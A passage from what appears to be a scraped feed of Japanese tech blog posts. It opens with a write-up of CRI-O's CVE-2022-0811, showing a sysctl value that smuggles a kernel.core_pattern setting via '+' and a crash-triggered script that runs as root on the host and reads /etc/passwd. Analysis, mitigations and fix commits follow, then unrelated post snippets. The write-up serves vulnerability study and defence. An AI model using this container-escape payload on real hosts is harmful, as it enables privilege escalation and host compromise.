の形式で複数のカーネルパラメータを連結して渡すことができます。pinns -s kernel_parameter1=value1+kernel_parameter2=value2設定可能な sysctls は以下の実装で制限されています。https://github.com/cri-o/cri-o/blob/main/pkg/config/sysctl.govar prefixNamespaces = map[string]Namespace{ \\"kernel.shm\\": IpcNamespace, \\"kernel.msg\\": IpcNamespace, \\"fs.mqueue.\\": IpcNamespace, \\"net.\\": NetNamespace,}// Validate checks that a sysctl is whitelisted because it is known to be// namespaced by the Linux kernel. The parameters hostNet and hostIPC are used// to forbid sysctls for pod sharing the respective namespaces with the host.// This check is only used on sysctls defined by the user in the crio.conf// file.func (s *Sysctl) Validate(hostNet, hostIPC bool) error { nsErrorFmt := \\"%q not allowed with host %s enabled\\" if ns, found := namespaces[s.Key()]; found { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } for p, ns := range prefixNamespaces { if strings.HasPrefix(s.Key(), p) { if ns == IpcNamespace && hostIPC { return errors.Errorf(nsErrorFmt, s.Key(), ns) } if ns == NetNamespace && hostNet { return errors.Errorf(nsErrorFmt, s.Key(), ns) } return nil } } return errors.Errorf(\\"%s not whitelisted\\", s.Key())}sysctls の適用は pinns 内に実装されており、-s オプションの設定値をもとに /proc/sys/ 以下のファイルに書き込みを行なっています。https://github.com/cri-o/cri-o/blob/main/pinns/src/sysctl.cstatic int write_sysctl_to_file (char * sysctl_key, char* sysctl_value){ if (!sysctl_key || !sysctl_value) { pwarn (\\"sysctl key or value not initialized\\"); return -1; } // replace periods with / to create the sysctl path for (char* it = sysctl_key; *it; it++) if (*it == \'.\') *it = \'/\'; _cleanup_close_ int dirfd = open (\\"/proc/sys\\", O_DIRECTORY | O_PATH | O_CLOEXEC); if (UNLIKELY (dirfd < 0)) { pwarn (\\"failed to open /proc/sys\\"); return -1; } _cleanup_close_ int fd = openat (dirfd, sysctl_key, O_WRONLY); if (UNLIKELY (fd < 0)) { pwarnf (\\"failed to open /proc/sys/%s\\", sysctl_key); return -1; } int ret = TEMP_FAILURE_RETRY (write (fd, sysctl_value, strlen (sysctl_value))); if (UNLIKELY (ret < 0)) { pwarnf (\\"failed to write to /proc/sys/%s\\", sysctl_key); return -1; } return 0;}Coredumpプロセスが異常終了した時に、プロセスメモリの dump を core ファイルとして出力します。Coredump の設定は /proc/sys/kernel/core_pattern に書かれており、ファイルの直接編集や sysctl コマンドで設定を変更できます。# sysctl -w kernel.core_pattern=\\"%e-%s.core\\"kernel.core_pattern には dump の出力先パスを指定しますが、最初文字がパイプ | の場合は指定パスのプログラムを実行します (この場合 dump は標準入力として渡される)。/proc/sys/kernel/core_pattern のデフォルト値として、ubuntu (20.04) では apport というバグレポートツールが指定されています。$ cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %Eまた Coredump のファイルサイズ上限は ulimit で設定します。脆弱性は Soft Limit が0でも刺さりそうです。# cat /proc/self/limits Limit Soft Limit Hard Limit Units Max cpu time unlimited unlimited seconds Max file size unlimited unlimited bytes Max data size unlimited unlimited bytes Max stack size 8388608 unlimited bytes Max core file size 0 unlimited bytes Max resident set unlimited unlimited bytes Max processes 3819 3819 processes Max open files 1024 1048576 files Max locked memory 67108864 67108864 bytes Max address space unlimited unlimited bytes Max file locks unlimited unlimited locks Max pending signals 3819 3819 signals Max msgqueue size 819200 819200 bytes Max nice priority 0 0 Max realtime priority 0 0 Max realtime timeout unlimited unlimited usエクスプロイト要点kernel.core_pattern は Namespaced ではないため、ホストとコンテナで同じファイルを参照するコンテナ内からは変更不可pod 起動時に sysctl に kernel.core_pattern を設定できれば、ホストの値も変更できるCIO-O 内で sysctl のキーを検証しているが、value に + を含む文字列を渡すことでバイパス可能 (以下コードを参照)設定後にプロセスを異常終了させることで、ホストの root 権限で任意コード実行問題となったコードfunc getSysctlForPinns(sysctls map[string]string) string { // this assumes there\'s no sysctl with a `+` in it const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls { fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) // ← \\"\'key1=value1\'+\'key2=value2\'\\" の形で文字列連結する } return strings.TrimSuffix(g.String(), pinnsSysctlDelim)}検証脆弱なバージョンの CRI-O で CVE-2022-0811 を検証します。Kubernetes は使用せず、crictl での検証を行いました。# crio --versioncrio version 1.23.1Version: 1.23.1GitCommit: af642cdafed31e4be5dd82e996bb084050c8bb89GitTreeState: dirtyBuildDate: 1980-01-01T00:00:00ZGoVersion: go1.17.4Compiler: gcPlatform: linux/amd64Linkmode: staticBuildTags: apparmor, exclude_graphdriver_devicemapper, seccomp, selinuxSeccompEnabled: trueAppArmorEnabled: true最初にホストに実行させたいプログラムを配置するコンテナを作成します。json、pod-config.json は前述のファイルと同じものです。# crictl runp pod-config.json d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a# crictl create d33614f0b22d3d81bb680ee76eb1882a1b6287bb99515d6505d75e315b01297a container-config.json pod-config.json 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123# crictl start 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac61239029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123起動したコンテナにアタッチし、コンテナの root パスにプログラムを配置します。/etc/passwd をコンテナ内の /output に出力するスクリプトを用意しました。# crictl exec -it 9029e03c5ac9abf0475d23981d601df5ed0f9b2ebca4168c4a1f48b2caac6123 bashroot@d33614f0b22d:/# mount | grep overlayoverlay on / type overlay (rw,relatime,lowerdir=/var/lib/containers/storage/overlay/l/73PSGHB33J2RBZXIUVK7SRC4UA,upperdir=/var/lib/containers/storageoverlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff,workdir=/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/work,metacopy=on,volatile)root@d33614f0b22d:/# echo \'#!/bin/sh\' > /cmdroot@d33614f0b22d:/# echo \'cat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/output\' >> cmdroot@d33614f0b22d:/# cat /cmd#!/bin/shcat /etc/passwd > /var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/outputroot@d33614f0b22d:/# chmod a+x /cmd続いて kernel.core_pattern を変更する pod を作成します。+ で連結した value を記載します。value に記載する kernel.core_pattern には、ホストから見たプログラムの絶対パスを指定しています。# をつけていますが、これは CRI-O の実装で付与されるシングルクォートを無効化する役割があります。# cat /proc/sys/kernel/core_pattern|/usr/share/apport/apport %p %s %c %d %P %E# cat pod-config2.json { \\"metadata\\": { \\"name\\": \\"ubuntu-sandbox2\\", \\"namespace\\": \\"default\\", \\"attempt\\": 1, \\"uid\\": \\"edishd83djaidwnduwk28bcsd\\" }, \\"log_directory\\": \\"/tmp\\", \\"linux\\": { \\"sysctls\\": { \\"kernel.shm_rmid_forced\\": \\"1+kernel.core_pattern=|/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\\" } }}# crictl runp pod-config2.json FATA[0001] run pod sandbox: rpc error: code = Unknown desc = container create failed: write to /proc/sys/kernel/shm_rmid_forced: Invalid argument pod 作成はエラーになりますが、kernel.core_pattern を見ると変更されていることがわかります。# cat /proc/sys/kernel/core_pattern |/var/lib/containers/storage/overlay/4ca77e9bde5220c9b0b54d57f41e56cbed6e873cd5ad67dbcdf43bc3cca1766f/diff/cmd #\'最後に起動中のコンテナ内でプロセスを異常終了させることで、 Coredump の機能を呼び出しホストの root 権限でプログラムを実行させることができます。root@d33614f0b22d:/# tail -f /dev/null &[1] 17root@d33614f0b22d:/# ps PID TTY TIME CMD 4 pts/0 00:00:00 bash 17 pts/0 00:00:00 tail 18 pts/0 00:00:00 psroot@d33614f0b22d:/# kill -SIGSEGV 17root@d33614f0b22d:/# ls /bin boot cmd dev etc home lib lib32 lib64 libx32 media mnt opt output proc root run sbin srv sys tmp usr var[1]+ Segmentation fault (core dumped) tail -f /dev/nullroot@d33614f0b22d:/# cat /output root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin...回避策CrowdStrike 社のブログ を参考にしています。CRI-O のアップデート (非推奨だが v1.18 以下へのダウングレードも可)OPA 等のポリシーを設定するPSP で sysctls を全てブロックするpinns の -s を除去するラッパーを用意し、crio.conf の pinns_path に設定する修正パッチcommit1https://github.com/cri-o/cri-o/commit/05c443b06356c2dbf9d30060f362279c6b8ac1a1pinns の -s オプションを生成する箇所で、+ に対してバリデーションを追加しています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... if len(cfg.Sysctls) != 0 {- pinnsArgs = append(pinnsArgs, \\"-s\\", getSysctlForPinns(cfg.Sysctls))+ pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)+ if err != nil {+ return nil, errors.Wrapf(err, \\"invalid sysctl\\")+ }+ pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls) } ... }- func getSysctlForPinns(sysctls map[string]string) string {- // this assumes there\'s no sysctl with a `+` in it+ func getSysctlForPinns(sysctls map[string]string) (string, error) {+ // This assumes there\'s no valid sysctl value with a `+` in it+ // and as such errors if one is found. const pinnsSysctlDelim = \\"+\\" g := new(bytes.Buffer) for key, value := range sysctls {+ if strings.Contains(key, pinnsSysctlDelim) || strings.Contains(value, pinnsSysctlDelim) {+ return \\"\\", errors.Errorf(\\"\'%s=%s\' is invalid: %s found yet should not be present\\", key, value, pinnsSysctlDelim)+ } fmt.Fprintf(g, \\"\'%s=%s\'%s\\", key, value, pinnsSysctlDelim) }- return strings.TrimSuffix(g.String(), pinnsSysctlDelim)+ return strings.TrimSuffix(g.String(), pinnsSysctlDelim), nil }commit2https://github.com/cri-o/cri-o/commit/1af1f8af2c7e23525102dffbf0899b69e34ed3d2文字列の連結をやめ、-s をパラメータ毎に設定する修正がされています。 func (mgr *NamespaceManager) NewPodNamespaces(cfg *PodNamespacesConfig) ([]Namespace, error) { ... - if len(cfg.Sysctls) != 0 {- pinnsSysctls, err := getSysctlForPinns(cfg.Sysctls)- if err != nil {- return nil, errors.Wrapf(err, \\"invalid sysctl\\")- }- pinnsArgs = append(pinnsArgs, \\"-s\\", pinnsSysctls)+ for key, value := range cfg.Sysctls {+ pinnsArgs = append(pinnsArgs, \\"-s\\", fmt.Sprintf(\\"%s=%s\\", key, value)) } ... }containerd の場合他のコンテナランタイムがどうなっているか気になったので、containerd の実装を調べてみました。https://github.com/opencontainers/runc/blob/main/libcontainer/configs/validate/validator.go// sysctl validates that the specified sysctl keys are valid or not.// /proc/sys isn\'t completely namespaced and depending on which namespaces// are specified, a subset of sysctls are permitted.func (v *ConfigValidator) sysctl(config *configs.Config) error { validSysctlMap := map[string]bool{ \\"kernel.msgmax\\": true, \\"kernel.msgmnb\\": true, \\"kernel.msgmni\\": true, \\"kernel.sem\\": true, \\"kernel.shmall\\": true, \\"kernel.shmmax\\": true, \\"kernel.shmmni\\": true, \\"kernel.shm_rmid_forced\\": true, } for s := range config.Sysctl { if validSysctlMap[s] || strings.HasPrefix(s, \\"fs.mqueue.\\") { if config.Namespaces.Contains(configs.NEWIPC) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts ipc namespace\\", s) } } if strings.HasPrefix(s, \\"net.\\") { if config.Namespaces.Contains(configs.NEWNET) { continue } else { return fmt.Errorf(\\"sysctl %q is not allowed in the hosts network namespace\\", s) } } return fmt.Errorf(\\"sysctl %q is not in a separate kernel namespace\\", s) } return nil}CRI-O は pinns により独自の sysctls 設定を実装していますが、pod 作成時に設定する都合上、 OCI の機能を使わない方法を選んだのかもしれません (根拠はないです)。さいごに初めて CRI-O を触りましたが、Docker や containerd とはかなり仕組みが異なることがわかりました。脆弱性の調査を通して CRI-O の実装や Linux の機能に触れることができ、良い機会を得られたと思います。内容に誤りが含まれる可能性がありますので、何かお気づきの方はご指摘等よろしくお願いします。参考リンクhttps://nvd.nist.gov/vuln/detail/CVE-2022-0811https://blog.aquasec.com/cve-2022-0811-cri-o-vulnerabilityhttps://www.crowdstrike.com/blog/cr8escape-new-vulnerability-discovered-in-cri-o-container-engine-cve-2022-0811/https://github.com/cri-o/cri-o/security/advisories/GHSA-6x2m-w449-qwx7https://pwning.systems/posts/escaping-containers-for-fun/https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mountshttps://valinux.hatenablog.com/entry/20210721https://qiita.com/rarul/items/d33b664c8414f065e65ehttps://man7.org/linux/man-pages/man5/core.5.htmlhttps://lwn.net/Articles/280959/https://wiki.ubuntu.com/Apport","isoDate":"2022-03-28T09:22:43.000Z","dateMiliSeconds":1648459363000,"authorName":"kyohmizu","authorId":"kyohmizu"},{"title":"nnn(Terminal file manager)を使ってみる","link":"https://zenn.dev/tayusa/articles/1f87e798ccbed0","contentSnippet":"nnnとはhttps://github.com/jarun/nnnターミナル上で動作するファイルマネージャー 良い点軽量で高速な動作を保つために機能をプラグインとして外出しして拡張できる設計になってますプラグインはシェルスクリプトなどで簡単に記述できますキーバインドはviライクですtmuxを利用してる状態の画像表示も問題ないですターミナルはkittyを利用しています インストールUbuntu$ sudo apt install nnnArch Linux$ sudo pacman -S nnnMacOS$ bre...","isoDate":"2022-03-27T13:27:45.000Z","dateMiliSeconds":1648387665000,"authorName":"Atsuya Tsukada","authorId":"atsuya0"},{"title":"[2022/03/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220325","contentSnippet":"普段は#kubenewsの2022年03月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/NewvQB5q-QU 告知とかニュースっぽいもの Cloud Native Database Meetup #4https:...","isoDate":"2022-03-25T12:55:35.000Z","dateMiliSeconds":1648212935000,"authorName":"bells17","authorId":"bells17"},{"title":"[2022/03/18] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220318","contentSnippet":"普段は#kubenewsの2022年03月18日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/y7DMp3aqCFM 告知とかニュースっぽいもの 3-shake SRE Tech Talk #3https://youtu...","isoDate":"2022-03-18T12:50:45.000Z","dateMiliSeconds":1647607845000,"authorName":"bells17","authorId":"bells17"},{"title":"Pandocカスタムライター入門1: 基本は文字列処理","link":"https://blog.atusy.net/2022/03/14/pandoc-custom-writer/","contentSnippet":"Pandocは様々な文書ファイルを相互変換できるソフトウェアです。“A unitversal document converter”を名乗るだけのことはあり、HTML, LaTeX, Docx, Markdownなどの様々なファイル形式に対応します。更には対応するファイル形式の追加に対応します。入力の場合はカスタムリーダー、出力の場合はカスタムライターと呼ばれ、共にLua言語で定義できます。","isoDate":"2022-03-14T00:00:00.000Z","dateMiliSeconds":1647216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NFTを開発するためのブロックチェーン・スマートコントラクト技術","link":"https://speakerdeck.com/shukob/nftwokai-fa-surutamefalseburotukutiensumatokontorakutoji-shu","contentSnippet":"https://cryptocurrency.connpass.com/event/240069/\\rNFT(Non Fungible Token:非代替性トークン)が社会で大きな注目を集めています。\\rEthereum(イーサリアム)ブロックチェーンの概要から始まり、スマートコントラクトについて触れ、NFTを開発するための技術についてお伝えしました。","isoDate":"2022-03-12T05:00:00.000Z","dateMiliSeconds":1647061200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"Observability Conference 2022 に登壇しました","link":"https://zenn.dev/nwiizo/articles/d837b78914de23","contentSnippet":"「Dapr の概念と実装から学ぶ Observability への招待」 というタイトルで登壇します。https://event.cloudnativedays.jp/o11y2022/talks/1382:embed:cite セッション概要Dapr は CloudNative な技術を背景に持つ分散アプリケーションランタイムです。本セッションでは Dapr の Observability に関する各種機能と、その実装について解説していきます。さらにスリーシェイクの Dapr と Observability への取り組みに関してもご紹介します。Dapr の機能でカバーできる点...","isoDate":"2022-03-11T04:02:18.000Z","dateMiliSeconds":1646971338000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"[2022/03/04] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220304","contentSnippet":"普段は#kubenewsの2022年03月04日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL:https://youtu.be/3s0T6k24I_o 告知とかニュースっぽいもの Twitterコミュニティ機能についてhttps://twitter.co...","isoDate":"2022-03-04T12:34:50.000Z","dateMiliSeconds":1646397290000,"authorName":"bells17","authorId":"bells17"},{"title":"RStudio Serverでblogdownを快適に使えるようにする","link":"https://blog.atusy.net/2022/03/02/blogdown-rstudio-server/","contentSnippet":"RStudioではうまくプレビューできたblogdown製のウェブページが、RStudio Serverではうまくプレビューできないことがあります。例えば以下のようなことが起きます。","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ウェブサイトのCSSやJavaScriptでキャッシュの衝突を避ける","link":"https://blog.atusy.net/2022/03/02/hugo-css-fingerprint/","contentSnippet":"CSSやJavascriptのキャッシュはブラウジングの速度に貢献する一方、更新がクライアントサイドに適切に反映されない場合があります。ブラウザがキャッシュしている場合、キャッシュの有効起源切れを待つかスーパリロードを使うという手もあります。スーパーリロードはChromeやFirefoxではCtrl+Shift+Enterのキーボードショートカットでも実行できます。","isoDate":"2022-03-02T00:00:00.000Z","dateMiliSeconds":1646179200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"JAWS-UG SRE支部 #2 突撃!となりのSRE","link":"https://blog.masasuzu.net/entry/2022/02/26/012602","contentSnippet":"jawsug-sre.connpass.com聞いてきましたのでメモと感想を残しておきます。LTマネーフォーワードのマイクロサービス基盤のこれまでとこれから by マネーフォワード @grezarjpマネーフォワードのマイクロサービス基盤の移り変わりの紹介。中央集権構造 => 権限移譲フェーズ => これから中央集権構造サービスごとに開発チームが存在、サービスにまたがってインフラチームが存在開発チームはインフラを気にしなくてもすんだ。メンバーが少ないうちはなんとかなった組織の規模に対してインフラチームがスケールしなくなった責務の分解点を再定義 DevOpsへ権限移譲フェーズ開発チームに権限を渡していくAWSとKubernatesを使用ランタイム、ミドルウェアも開発チームが管理サービスごとにNamespaceを切る、Namespace内で開発チームは権限を持つマイクロサービスごとにAWSアカウント管理して、リソースを管理するこれから権限は渡したが、運用まではむつかしい開発の運用を負荷を下げるためにTerraformのモジュール化、設定のバリデーションの整備AWSアカウントの統制、コスト可視化を進めたいアプリケーションランタイムのSnadbox化特殊要件なアプリケーションで使えるように開発チームにここまでインフラの権限を渡せて、運用できるのはすごいなと思った。QAQ: 開発チームの権限移譲の苦労、運用面、技術面A: マルチアカウントをつかって 技術上の考慮点があった人と人とのかかわりに関しては銀の弾丸はないので、地道な作業が必要ドキュメントとかで監視項目を揃えてあげるのに力を入れたQ: 開発とインフラでスキルセットの違いはあった?A:インフラはアプリをあんまり見てこなかったのでそのへんのギャップはあったQ: EKSのテナント分割の単位A: 権限分類と障害の影響範囲の最小化はシングルテナントが有利とは言われるが運用負荷を下げるためにマルチテナントを選んだSREグループのマネージャーという立場になって真っ先にやったこと by ミクシィ@isaoshimizu内容に関しては、スライドに詳しく書いてあるので参照。SREのミッション・バリューいいなあと思った。うちのチームでもちゃんと考えたい。SRE Lounge #13 LTでも今回と近いことを書いてるので参照してほしいとのこと↓組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' BlogQAQ: SRE主導でやるべきではなかったことA: SREは万能な人がおおくでできてしまう開発側のリソースが足りなくて急がないといけないことをSREがやってしまう本来はそうじゃないよねって話自分としては、SREでも開発分野でも巻き取れることはやってしまってもいいと思うんですよね。線を引きすぎるとセクショナリズムになってあまり良くない気がしてる。組織のあり方はそれぞれで、コンテキスト分かってないので、言い切ることはできないですが。Containerサービス と Toil と by スリーシェイク \xa0@tt0603ECSとEKSについてToilと紐付けての話題。Toilの削減ステップ特定計測削減ただこのプロセスはつらい。SREとしては長期的なエンジニアリング に時間を使いたい。本質的なことをすることが目的。Toilを削減することが目的ではない。技術選定として、まずマネージドで考える。チームとして何を大事にしているかを考える。自分たちの”サイズ”で技術選定をして価値あるエンジニアリングをする。個人的にはEKSとECSのまとめがわかりやすくてよかった。QAQ: セルフホステッドを選択する場合は?A: 監視するとき Prometheus使うときとかつらいのでFargateは起動が遅い スケールが遅い技術選定において、自分たちの「サイズ」っていう要素が存在するというのは暗黙的なものになりがちなので、ちゃんと具体的に捉えておくの大事な気がした。 #jawsug_sre— Tomoya Kitaura (@kitta0108) 2022年2月25日 先程はパッと答えられませんでしたが、弊社の場合はMicroServiceを運用する際にはIstioを利用するケースが非常に多く、現状では対応していないため、EKSの場合はSelf Hostedを利用するケースが多いですー#jawsug_sre— TakuyaTezuka@3-shake (@tt0603) 2022年2月25日 パネルディスカッションMFのSREの組織のやり方で工夫してるところもともと中央集権的だった、開発に権限移譲していった権限を渡していっていながらそれ以上にプロダクトが開発が増えてしまったので負荷が増えてしまったenabling SREを広げる役割もつくるSREというポジションじゃなくてもSRE的な動きができるように組織にSREの文化を作り上げていくEnabling SRE | Money Forward Engineers\' Blog技術支援からSREの組織変数がいくつか システムの規模 性質 組織規模、レベル感などpure sreではじめて権限移譲していく自分たちのサイズに合わせて組織を作っていく開発とSREのベストの距離感タイミングによって違う固定されたものじゃない構成をいかにシンプルにできるかが大事SREが開発に使いやすいサービスを提供するSREのAPIを提供するので好きに使って的な横断組織SREと開発チーム内SREというパターンもあるお互いのコミュニケーションは大事採用する際に求めるスキルセットやレベル感なんでもかんでも能力を持ってる人はいない。特定の領域に得意を持ってるといい、最低限のレベル感はほしいコミュニケーション 大事 ソフトスキルの担保が大事会社のバリューにあってるかSREワークブックの最後の方求められるスキル書いてあるすべてのインフラコードはIaCに寄せたい、チームにはソフトウェアスキル、インフラスキルそれぞれ持つメンバーがほしい変更時のトラブルシューティングはできるべきコードレビューできるスキルを持っていてほしいコーディングあるていどできる人組織による開発をSREに興味をもってもらうはどうしたらいいのだろうかSLOを決めて共通言語で話す留学すると面白いかもお互いがどういう観点で仕事してるかがわかってよいどこまで開発に移譲するかエラーバジェット、SLO、SLIは必要SREが設定するSLOより開発者が設定するSLOの方がいい開発者にとってうまいところを教えるアプローチ開発者にとってもバグが出ないことによって、気持ちよく開発できるよ!開発者の観点じゃなくてビジネス観点でSLO設定するんじゃないのかなって思う。。。?あと、留学いいなあと思った。開発チームに留学したい。SREチームが存在しない。どんなフェーズになったらSREチームを作ったほうがいいというしきい値あります?開発者が開発以外に手を取られて開発スピードが落ちてるのが目に見えたら兼務の限界値がある。得意なことにバリューを出せるようにしたい開発しながらAWSの新機能をキャッチアップするのはたいへんdevとopsのバランスが崩れているとき SREのプラクティスをいれるといいのかもエラーバジェットが判断軸になるかもどれくらいのチームが困ってるかが判断軸になるToil撲滅の意味で費用対効果高かったLambdaランキング今Lambdaを殆ど使ってないchatbotが出たのでLambdaの役割を終えたEKS上にアプリケーションを作ってしまうことが多い必要悪としてのLambda コードを書くのは最終手段。書いた瞬間に負債になる時刻でEC2終了するLambdaオートスケーリングでいいのでは?terrafromでLambda扱いにくい問題SREとしてセキュリティに対しての役割サービスInspectorECRのイメージスキャンCI/CD成立してからじゃないとイメージスキャンできないGuardDutySSOIAM Userを撲滅できたただ個別要件に対応しにくいSREが見てるケースが多いコーポレートセキュリティは範疇じゃないが、アプリケーションセキュリティは範疇5,6人目にセキュリティが強い人がほしい着想の段階からセキュリティの観点をいれておきたいモニタリングロギングの観点で使用してるAWSのサービスAMPEKS使ってるのでコスパが良かったCloudWatch log通知考えるとLambda使わないとAthenaわずらわしい検索しにくいLokiとかに寄せたいログをどこにおくS3Lokiってこれかな?Grafana Loki | Grafana Labs雑感他の会社のSREの話を今まであまり聞くことがなかったので、気づきを得る部分が多かった。SREのミッション・ビジョン・バリューはちょっと考えてみたいなと思った。オンライン開催の形式はYouTube Liveがいいなあって思った。聞き逃しても巻き戻して聞き返せるのがすごい体験として良い。","isoDate":"2022-02-25T16:26:02.000Z","dateMiliSeconds":1645806362000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"[2022/02/25] 今週のKubernetes + Cloud Native + その他ニュース","link":"https://zenn.dev/bells17/articles/k8s-cloud-native-and-other-20220225","contentSnippet":"普段は#kubenewsの2022年02月25日の回で話す、@bells17が今週気になったニュース記事をまとめたものです。自分が気になった今週のKubernetes + Cloud Native + その他なニュースをまるっとまとめておいて、その中から時間内に話せるものを話そうと思ってます。あと記事はざっと読んで書いてるものが多いので、詳細はリンクとかで貼ってる記事の中を読んでもらった方が正確です。配信URL: 配信中止して記事だけ放流したので配信URLはありません 告知とかニュースっぽいもの NetApp Insight Japan 2022で講演しましたセッション動...","isoDate":"2022-02-25T13:31:31.000Z","dateMiliSeconds":1645795891000,"authorName":"bells17","authorId":"bells17"},{"title":"[EN]Trident Deep Dive","link":"https://speakerdeck.com/bells17/en-trident-deep-dive","contentSnippet":"NetApp INSIGHT Japan 2022\\rhttps://insight.netapp.com/ja/\\r\\rvideo: http://netapp.tv/details/28744\\r\\rJapanese ver: https://speakerdeck.com/bells17/trident-deep-dive","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"bells17","authorId":"bells17"},{"title":"Mastering the Lightning Network 第1章を読む補足資料","link":"https://speakerdeck.com/shukob/mastering-the-lightning-network-di-1zhang-wodu-mubu-zu-zi-liao","contentSnippet":"https://cryptocurrency.connpass.com/event/239005/\\rMastering the Lightning Network 第1章の補足資料です","isoDate":"2022-02-25T05:00:00.000Z","dateMiliSeconds":1645765200000,"authorName":"Shu Kobuchi","authorId":"kobuchi"},{"title":"`list.files`関数で拡張子を指定したファイルを一覧するなら、`pattern = \\"\\\\\\\\.csv$\\"`みたいにすること","link":"https://blog.atusy.net/2022/02/25/list-files-pattern/","contentSnippet":"list.files(pattern = \\".csv\\")みたいなのを見かけるけど、うっかりanalyze-csv.Rみたいなファイルにもマッチするよ。厳密にはlist.files(pattern = \\"\\\\\\\\.csv$\\")としよう。ファイル操作にはfsパッケージも便利。","isoDate":"2022-02-25T00:00:00.000Z","dateMiliSeconds":1645747200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"【TypeScript】指定したパスのみ必須にするUtility Type","link":"https://zenn.dev/kimitsu/articles/c0cc29dde1c054","contentSnippet":"TypeScriptにはプロパティを必須にするRequiredというUtility Typeがある。type Props = { a?: number; b?: string;};const obj: Required = { a: 5, b: \\"test\\" }; // a, bが必須になるhttps://www.typescriptlang.org/docs/handbook/utility-types.html#requiredtypeRequiredは全てのプロパティを必須にする。なのでPropsのaのみ必須にしたい場合は次のようなU...","isoDate":"2022-02-24T15:11:31.000Z","dateMiliSeconds":1645715491000,"authorName":"Yunosuke Yamada","authorId":"yyamada"},{"title":"Osaka.R Slackの朝もくチャンネルにツィートボタンを設置","link":"https://blog.atusy.net/2022/02/24/osakar-tweet-button/","contentSnippet":"Slackではチャンネル上部に関連ページへのリンクを設置できます。メッセージと関連ページのリンクをピン留めするこの機能を使って以下のように、TweetボタンをOsaka.R Slackの朝もくチャンネルに設置しました。","isoDate":"2022-02-24T00:00:00.000Z","dateMiliSeconds":1645660800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Neovimのconfigファイルをinit.lua化したので覚書","link":"https://blog.atusy.net/2022/02/21/nvim-init-lua/","contentSnippet":"Neovim 0.5からはconfigファイルにinit.luaとしてLuaスクリプトでの記述を推奨しているそうです。そこでVim/Nvim初心者が移行作業にあたって、どうやって情報を収集したか、途中で得た知見、やり残したことをまとめておきます。","isoDate":"2022-02-21T00:00:00.000Z","dateMiliSeconds":1645401600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Future Tech Night #20 Terraform State縛りの勉強会 #future_tech_night","link":"https://blog.masasuzu.net/entry/2022/02/17/210848","contentSnippet":"future.connpass.com久しぶりにちゃんと勉強会の感想ブログ書きます。① State の分割戦略 